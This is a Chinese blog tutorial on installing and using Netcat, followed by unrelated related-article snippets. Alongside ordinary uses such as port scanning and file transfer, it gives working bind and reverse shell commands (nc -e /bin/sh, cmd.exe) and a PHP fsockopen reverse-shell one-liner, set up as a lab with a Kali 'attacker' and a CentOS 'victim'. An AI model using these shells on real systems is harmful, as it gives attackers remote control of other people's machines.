当前位置: 首页 > news >正文

Netcat安装与使用(nc)

Netcat安装与使用

  • 1.Netcat简介
    • 1.1.Netcat安装
      • 1.1.1.安装整体流程
        • 1.1.1.1.安装依赖
        • 1.1.1.2.安装Netcat
        • 1.1.1.3.配置环境变量
        • 1.1.1.4.测试
    • 1.2.Netcat基本功能
    • 1.3.Netcat常用参数
  • 2.Netcat用法
    • 2.1.前期准备
    • 2.2.banner相关信息抓取
    • 2.3.端口扫描
      • 2.3.1.扫描指定端口
      • 2.3.2.扫描指定端口段
    • 2.4.监听端口
    • 2.5.文件传输
      • 2.5.1.监听
      • 2.5.2.发送
    • 2.6.简易聊天
    • 2.7.获取shell
      • 2.7.1.正向获取shell
        • 2.7.1.1.攻击者
        • 2.7.1.2.攻击者
      • 2.7.2.反向获取shell
        • 2.7.2.1.攻击者
        • 2.7.2.2.受害者
    • 2.8.其它获取shell
      • 2.8.1.PHP反弹shell
        • 2.8.1.1.生成反弹命令
        • 2.8.1.2.攻击者
        • 2.8.1.3.受害者

1.Netcat简介

  Netcat 是一款简单的Unix工具,使用UDP和TCP协议,被称为网络工具中的"瑞士军*刀"。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。

1.1.Netcat安装

  在Linux中都是自带Netcat的,如果没有,可以使用命令进行安装,安装完可以查看一下版本。
  在centos7.X中使用yum install nc按照的不是Netcat,需要注意。
  Windows中可以自行搜索安装,官网链接:官网

1.1.1.安装整体流程

1.1.1.1.安装依赖

命令:sudo yum install glibc*

在这里插入图片描述

1.1.1.2.安装Netcat

命令:
wget https://sourceforge.NET/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local/netcat-0.7.1
./configure
make && make install

在这里插入图片描述

1.1.1.3.配置环境变量

命令:vi /etc/profile
export NETCAT_HOME=/usr/local/netcat-0.7.1
export PATH=$PATH:$NETCAT_HOME/bin

在这里插入图片描述

1.1.1.4.测试

  这里可以使用nc -v,当然也可以使用netcat,其实是因为我懒,懒得卸载重新配置。
在这里插入图片描述

1.2.Netcat基本功能

  telnet/获取系统bannet信息、传输文本信息、传输文件和目录、加密传输文件、端口扫描、远程控制、正方向shell等。

1.3.Netcat常用参数

  Netcat它有许多参数可供使用,以下是一些常用的Netcat参数,可以根据自己的需要选择使用,同时,Netcat还有其他更多的参数,你可以通过查看其官方文档来了解。

参数介绍
-h查看帮助信息。
-l监听模式,等待其他计算机连接。
-p指定监听的端口号。
-u使用UDP协议。
-v输出详细信息,如建立连接时显示IP地址和端口号。
-n不使用DNS查找,使用IP地址进行连接。
-z将输入/输出功能关闭,进行端口扫描。
-s指定本地的IP地址。
-e在连接建立后,将标准输入和输出重定向到一个指定的程序或脚本中。
-w设置超时时间,等待连接或数据的时间。
-c发送指定字节数的数据后关闭连接。
-i设置发送数据的时间间隔。
-q设置程序退出前的最大延迟时间。
-k启用TCP保持活动状态。
-r设置随机本地端口号。
-t以telnet形式应答。

2.Netcat用法

  nc常常跟着的参数有两个,一个是n、一个是v。
  v参数就是列出执行过程的详细信息,n参数就只接收IP地址,没有dns,之所以使用n参数,是因为使用命令的过程中只去传入IP,减少了nc把域名解析为IP的过程,这样可以节省时间提高效率。

2.1.前期准备

  两台主机都需要安装nc,以便后面的操作,nc很小,安装很快。
  kali主机:192.168.10.20
  centos7主机:192.168.10.30

2.2.banner相关信息抓取

kali命令:nc -nv 192.168.10.30 22

在这里插入图片描述

2.3.端口扫描

  如果想要单纯的端口扫描的话,使用其它工具比如nmap会更好,而使用nc的主要用途就是在内网获取到权限后,再使用nc对内网进行扫描。nmap无法扫描内网。使用nc更多的是对内网扫描,若初期就需要端口扫描的话,不建议使用nc。

2.3.1.扫描指定端口

kali命令:nc -v 192.168.10.30

在这里插入图片描述

2.3.2.扫描指定端口段

kali命令:nc -vz 192.168.10.30 20-100

在这里插入图片描述

2.4.监听端口

  监听本地端口,当访问该端口时会输出该信息到命令行,这里我使用一个云服务器来监听。

云服务器命令:nc -lp 8080

在这里插入图片描述

2.5.文件传输

  首先在kali上开启监听,然后在centos7中发送文件,当发送文件后,kali上监听到后,就可以将文件保存下来。
  这里不单单可以发送文件,像压缩包、目录等均可以传输,不过这里需要理解两个重定向符号 <和>,>是将文件进行输出,<是将文件进行输入。

2.5.1.监听

  这里设置kali监听,简单来说就是接收文件,并将文件保存到1.txt中。

kali命令:nc -lp 333 > 1.txt

在这里插入图片描述

2.5.2.发送

  这里设置centos7为发送,将当前目录下的2.txt发送至kail。

centos7命令:nc -vn 192.168.10.20 333 < 2.txt

在这里插入图片描述

2.6.简易聊天

  nc 可以在两台机器之间相互传递信息,首先需要有一台机器进行监听一个端口,另一台以连接的方式去连接其指定的端口,这样两台机器之间建立了通信后,相互之间可以传输信息。
  为了区分,kali上输入的是数字,而centos7上输入的字母。

kali命令:nc -lp 333
centos命令:nc -vn 192.168.10.20 333

在这里插入图片描述
在这里插入图片描述

2.7.获取shell

  这里默认kail系统为攻击者、centos7系统为受害者。

2.7.1.正向获取shell

  正向获取shell就是将centos7连接kali,centos7获取kali的shell权限。简单来说就是受害者获取攻击者的shell。
  这里不使用Windows测试,只是将Windows系统的命令使用介绍一下。

2.7.1.1.攻击者

kali命令:nc -lvp 4444 -e /bin/sh 
Windows命令:nc -lvp 4444 -e c:\windows\system32\cmd.exe

在这里插入图片描述

2.7.1.2.攻击者

centos7命令:netcat 192.168.10.20 4444

在这里插入图片描述

2.7.2.反向获取shell

  客户端连接服务器,服务器获取客户端的shell。通常用在开启防护措施的目标机,如防火墙过滤、端口转发的等。通常反向shell是最常用的。

2.7.2.1.攻击者

kali命令:nc -lvp 4444 

在这里插入图片描述

2.7.2.2.受害者

centos7命令:netcat 192.168.10.20 4444 -e /bin/sh
Windows命令:nc 192.168.1.1 999 -e c:\windows\system32\cmd.exe

在这里插入图片描述

2.8.其它获取shell

  这里其它获取shell,就是通过不同的方式进行shell的反弹。这里可以使用反弹shell命令一键生成官网进行测试。
  官网:反弹shell命令一键生成
在这里插入图片描述

2.8.1.PHP反弹shell

2.8.1.1.生成反弹命令

  这里使用官网中配置,选择php即可生成反弹shell。

命令:php -r '$sock=fsockopen("192.168.10.20",7777);`sh -i <&3 >&3 2>&3`;'

在这里插入图片描述

2.8.1.2.攻击者

  这里的攻击者就是kali,按照官网上开启监听。

kali命令:nc -lvnp 7777

在这里插入图片描述

2.8.1.3.受害者

  这里的受害者就是centos7,按照官网上的生成的命令进行配置,我这里centos7上没有php,所以没成功正常情况下是能够成功的,这里我主要就是演示一下。

centos7命令:php -r '$sock=fsockopen("192.168.10.20",7777);`sh -i <&3 >&3 2>&3`;'

在这里插入图片描述

相关文章:

Netcat安装与使用(nc)

Netcat安装与使用1.Netcat简介1.1.Netcat安装1.1.1.安装整体流程1.1.1.1.安装依赖1.1.1.2.安装Netcat1.1.1.3.配置环境变量1.1.1.4.测试1.2.Netcat基本功能1.3.Netcat常用参数2.Netcat用法2.1.前期准备2.2.banner相关信息抓取2.3.端口扫描2.3.1.扫描指定端口2.3.2.扫描指定端口…...

蓝桥杯:聪明的猴子

题目链接&#xff1a;聪明的猴子https://www.lanqiao.cn/problems/862/learning/ 目录 题目描述 输入描述 输出描述 输入输出样例 运行限制 解题思路&#xff1a; 最小生成树 AC代码&#xff08;Java&#xff09;: 课后练习&#xff1a; 题目描述 在一个热带雨林中生存…...

Spring Boot应用如何快速接入Prometheus监控

1. Micrometer简介Micrometer为Java平台上的性能数据收集提供了一个通用的API&#xff0c;它提供了多种度量指标类型&#xff08;Timers、Guauges、Counters等&#xff09;&#xff0c;同时支持接入不同的监控系统&#xff0c;例如Influxdb、Graphite、Prometheus等。可以通过M…...

vscode远程调试python

目的 注意&#xff1a;这里我们想要实现的是&#xff1a;用vscode 使用remote ssh打开project&#xff0c;然后直接在project里面进行debug&#xff0c;而不需要 在本地vscode目录打开一样的project。 假设大家已经会使用remote ssh打开远程服务器的代码了&#xff0c;那么只…...

Spring Boot 框架 集成 Knife4j(内含源代码)

Spring Boot 框架 集成 Knife4j&#xff08;内含源代码&#xff09; 源代码下载链接地址&#xff1a;https://download.csdn.net/download/weixin_46411355/87480176 目录Spring Boot 框架 集成 Knife4j&#xff08;内含源代码&#xff09;源代码下载链接地址&#xff1a;[htt…...

什么蓝牙耳机适合打游戏?打游戏不延迟的蓝牙耳机

为了提升游戏体验&#xff0c;除了配置强悍的主机外&#xff0c;与之搭配蓝牙耳机等外设产品也尤为重要&#xff0c;今天就带大家来了解一下以下几款适合玩游戏&#xff0c;低延迟操作的蓝牙耳机。 第一款&#xff1a;南卡小音舱蓝牙耳机 参考价格&#xff1a;239元 推荐理由…...

【项目设计】高并发内存池(一)[项目介绍|内存池介绍|定长内存池的实现]

&#x1f387;C学习历程&#xff1a;入门 博客主页&#xff1a;一起去看日落吗持续分享博主的C学习历程博主的能力有限&#xff0c;出现错误希望大家不吝赐教分享给大家一句我很喜欢的话&#xff1a; 也许你现在做的事情&#xff0c;暂时看不到成果&#xff0c;但不要忘记&…...

初识MySQL下载与安装【快速掌握知识点】

目录 前言 MySQL版本 MySQL类型 MySQL官网有.zip和.msi两种安装形式&#xff1b; MySQL 下载 1、MySQL 属于 Oracle 旗下产品&#xff0c;进入Oracle官网下载 2、点击产品&#xff0c;找到MySQL 3、进入MySQL页面 4、点击Download&#xff08;下载&#xff09;&#x…...

如何终止一个线程

如何终止一个线程 是使用 thread.stop() 吗&#xff1f; public class ThreadDemo extends Thread{Overridepublic void run() {try {Thread.sleep(10000);} catch (InterruptedException e) {e.printStackTrace();}System.out.println("this is demo thread :"Thre…...

上岸!选择你的隐私计算导师!

开放隐私计算 开放隐私计算开放隐私计算OpenMPC是国内第一个且影响力最大的隐私计算开放社区。社区秉承开放共享的精神&#xff0c;专注于隐私计算行业的研究与布道。社区致力于隐私计算技术的传播&#xff0c;愿成为中国 “隐私计算最后一公里的服务区”。183篇原创内容公众号…...

go gin学习记录5

有了前面几节的学习&#xff0c;如果做个简单的web服务端已经可以完成了。 这节来做一下优化。 我们实验了3种SQL写入的方法&#xff0c;但是发现每一种都需要在方法中去做数据库链接的操作&#xff0c;有些重复了。 所以&#xff0c;我们把这部分提取出来&#xff0c;数据库链…...

PyQt5数据库开发2 5.1 QSqlQueryModel

目录 一、Qt窗体设计 1. 新建Qt项目 2. 拷贝4-3的部分组件过来 3. 添加资源文件 4. 创建Action 5. 添加工具栏 6. 创建菜单项 7. 关闭Action的实现 8. 调整布局 8.1 调整两个groupbox的布局 8.3 为窗体设置全局布局 二、代码拷贝和删除 1. 新建项目目录 2. 编译…...

MySQL-redo log和undo log

什么是事务 事务是由数据库中一系列的访问和更新组成的逻辑执行单元 事务的逻辑单元中可以是一条SQL语句&#xff0c;也可以是一段SQL逻辑&#xff0c;这段逻辑要么全部执行成功&#xff0c;要么全部执行失败 举个最常见的例子&#xff0c;你早上出去买早餐&#xff0c;支付…...

阿里云ECS TOP性能提升超20%!KeenTune助力倚天+Alinux3达成开机即用的全栈性能调优 | 龙蜥技术

文/KeenTune SIG01阿里云 ECS 上售卖页新增“应用加速”功能2023年1月12日 阿里云 ECS 的售卖页有了一些新的变化&#xff0c;在用户选择倚天 Alinux3 新建实例时&#xff0c;多了一个新的选项“应用加速”。这个功能是 阿里云 ECS 基于 KeenTune 提供典型云场景的开机即用的全…...

华为OD机试真题Python实现【快递业务站】真题+解题思路+代码(20222023)

快递业务站 题目 快递业务范围有 N 个站点,A 站点与 B 站点可以中转快递,则认为 A-B 站可达, 如果 A-B 可达,B-C 可达,则 A-C 可达。 现在给 N 个站点编号 0、1、…n-1,用 s[i][j]表示 i-j 是否可达, s[i][j] = 1表示 i-j可达,s[i][j] = 0表示 i-j 不可达。 现用二维…...

【c语言】预处理

&#x1f680;write in front&#x1f680; &#x1f4dc;所属专栏&#xff1a;> c语言学习 &#x1f6f0;️博客主页&#xff1a;睿睿的博客主页 &#x1f6f0;️代码仓库&#xff1a;&#x1f389;VS2022_C语言仓库 &#x1f3a1;您的点赞、关注、收藏、评论&#xff0c;是…...

嵌入式常用知识

12、并发和并行的区别&#xff1f; 最本质的区别就是&#xff1a;并发是轮流处理多个任务&#xff0c;并行是同时处理多个任务。 你吃饭吃到一半&#xff0c;电话来了&#xff0c;你一直到吃完了以后才去接&#xff0c;这就说明你不支持并发也不支持并行。 你吃饭吃到一半&…...

和平精英五曜赐福返场,老款玛莎返场来了

和平精英五曜赐福返场&#xff0c;老款玛莎返场来了&#xff01;新款如何选择&#xff01; 关于返场的新消息&#xff0c;都说云南百收SEO解说消息不准&#xff0c;之前看过文章的应该会知道&#xff0c;全网只有云南百收SEO解说发了。玛莎返场&#xff0c;快喊你的阿姨来看&a…...

React从入门到精通二

React从入门到精通之购物车案例1. 购物车需求说明使用到的data list2. 项目code1. 购物车需求说明 list data展示到列表中每个item的通过按钮来控制购买的数据量删除按钮可以删除当前的itemTotal Price计算当前购物车的总的价格 使用到的data list const books [{id: 1,name…...

【likeshop多商户】电子面单商家直播上线啦~

likeshop多商户商城v2.2.0版本更新啦&#xff01; 新增功能&#xff1a; 商家直播 单子面单 优化&#xff1a; 个人中心优惠券数量统计优化 修复&#xff1a; 秒杀商品待审核时&#xff0c;下单价格计算错误 个人中心修改头像后地址保存错误 「商家直播」 提升品牌知名度…...

游戏化销售管理是什么?使用CRM系统进行有什么用?

对于企业销售来说&#xff0c;高薪酬也伴随着更高的压力与挑战。高强度的单一工作会让销售人员逐渐失去对工作的兴趣&#xff0c;导致销售状态缺少动力和激情&#xff0c;工作开展愈加困难。您可以通过CRM系统进行游戏化销售管理&#xff0c;让销售人员重新干劲满满。 游戏并不…...

Mysql 索引(三)—— 不同索引的创建方式(主键索引、普通索引、唯一键索引)

了解了主键索引的底层原理&#xff0c;主键索引其实就是根据主键字段建立相关的数据结构&#xff08;B树&#xff09;&#xff0c;此后在使用主键字段作为条件查询时&#xff0c;会直接根据主键查找B树的叶子结点。除了主键索引外&#xff0c;普通索引和唯一键索引也是如此&…...

秒懂算法 | 基于朴素贝叶斯算法的垃圾信息的识别

本文将带领大家亲手实现一个垃圾信息过滤的算法。 在正式讲解算法之前,最重要的是对整个任务有一个全面的认识,包括算法的输入和输出、可能会用到的技术,以及技术大致的流程。 本任务的目标是去识别一条短信是否为垃圾信息,即输入为一条文本信息,输出为二分类的分类结果。…...

SpringCloud - Feign远程调用

目录 Feign的远程调用 RestTemplate方式调用存在的问题 介绍与初步使用 Feign的自定义配置 Feign运行自定义配置来覆盖默认配置&#xff0c;可以修改的配置如下&#xff1a; 配置Feign日志有两种方式&#xff1a; Feign性能优化 Feign底层的客户端实现&#xff1a; 连…...

Eotalk Vol.03:结合 API DaaS,让使用数据更方便

Eotalk 是由 Eolink CEO 刘昊臻发起的泛技术聊天活动&#xff0c;每期都会邀请一些技术圈内的大牛聊聊天&#xff0c;聊些关于技术、创业工作、投融资等热点话题。 Eotalk 的第 3 期&#xff0c;很高兴邀请到 Tapdata CEO TJ 唐建法&#xff0c;TJ 可以说是一位超级大咖&#x…...

从零开始学习Java编程:一份详细指南

Java入门Java简介和历史Java开发环境的安装和配置Java开发工具的介绍和使用&#xff08;例如Eclipse、IntelliJ IDEA等&#xff09;Java语言的基本概念&#xff08;例如变量、数据类型、运算符、流程控制语句等&#xff09;面向对象编程基础面向对象编程概念和基本原则类和对象…...

电子技术——系统性分析反馈电压放大器

电子技术——系统性分析反馈电压放大器 在本节我们提供一个系统性的分析反馈电压放大器的方法。首先我们考虑反馈网络没有负载效应理想情况&#xff0c;其次我们考虑反馈网络有限阻抗下的非理想情况。总之&#xff0c;这种方法的思路在于&#xff0c;将非理想情况转换为理想情况…...

【C语言进阶】结构体、位段、枚举、以及联合(共用体)的相关原理与使用

​ ​&#x1f4dd;个人主页&#xff1a;Sherry的成长之路 &#x1f3e0;学习社区&#xff1a;Sherry的成长之路&#xff08;个人社区&#xff09; &#x1f4d6;专栏链接&#xff1a;C语言进阶 &#x1f3af;长路漫漫浩浩&#xff0c;万事皆有期待 文章目录1.结构体1.1 概述&a…...

《蓝桥杯每日一题》哈希·AcWing 2058. 笨拙的手指

1.题目描述每当贝茜将数字转换为一个新的进制并写下结果时&#xff0c;她总是将其中的某一位数字写错。例如&#xff0c;如果她将数字 14 转换为二进制数&#xff0c;那么正确的结果应为 1110&#xff0c;但她可能会写下 0110 或 1111。贝茜不会额外添加或删除数字&#xff0c;…...

Linux 定时任务调度(crontab)

一、Crontab Crontab命令用于设置周期性被执行的指令。该命令从标准输入设备读取指令&#xff0c;并将其存放于“crontab”文件中&#xff0c;以供之后读取和执行。 可以使用Crontab定时处理离线任务&#xff0c;比如每天凌晨2点更新数据等&#xff0c;经常用于系统任务调度。…...